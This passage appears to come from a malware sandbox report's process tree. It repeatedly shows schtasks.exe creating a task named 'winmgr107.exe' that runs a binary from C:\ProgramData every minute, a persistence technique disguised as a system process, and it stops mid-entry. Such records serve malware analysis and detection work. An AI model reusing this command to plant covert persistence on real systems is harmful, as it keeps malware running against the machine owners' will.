    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11844
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9816
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:12152
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:9444
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9184
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8980
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8468
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8604
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11840
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8424
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9160
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8768
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8600
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8396
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8332
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11424
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11420
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8824
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8548
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11316
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8296
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:7404
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3452
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8096
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:7484
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:7344
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8100
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11052
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:6668
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:7136
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:6716
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:6288
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:6976
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:6464
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:7048
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10348
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11000
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5664
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9880
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5156
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:5380
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10668
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:4496
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:844
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1148
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10376
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:10536
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:4352
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:208
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:3628
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1156
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:4676
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:1064
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2820
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3788
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11020
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:10820
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11560
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10728
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:10264
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9536
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1232
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11884
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:9744
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9284
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2024
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:12024
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1904
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:12088
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:9588
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:9932
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10016
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:9816
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:9436
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9324
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:1096
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8664
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8820
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:3028
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3608
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:12172
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8676
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8248
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8896
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8568
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8308
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:9080
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8992
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8824
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8364
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8340
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8296
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:7776
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8180
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:7524
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8124
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:7944
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:7656
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:8116
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8056
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:6224
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:6148
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:216
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:6308
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:6968
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:8612
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:6240
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:10576
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:6200
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:6692
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5336
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5908
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11168
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:11360
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5952
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:5556
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:5920
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5616
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5624
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:5528
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:5136
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:10492
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:2560
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:3940
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:4996
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    PID:11440
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:1752
- - C:\Windows\SysWOW64\schtasks.exe
    C:\Windows\SysWOW64\schtasks.exe /create /sc minute /mo 1 /tn "winmgr107.exe" /tr "C:\ProgramData\winmgr107.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:3012
- - C:\Windows\SysWOW64\schtasks.exe
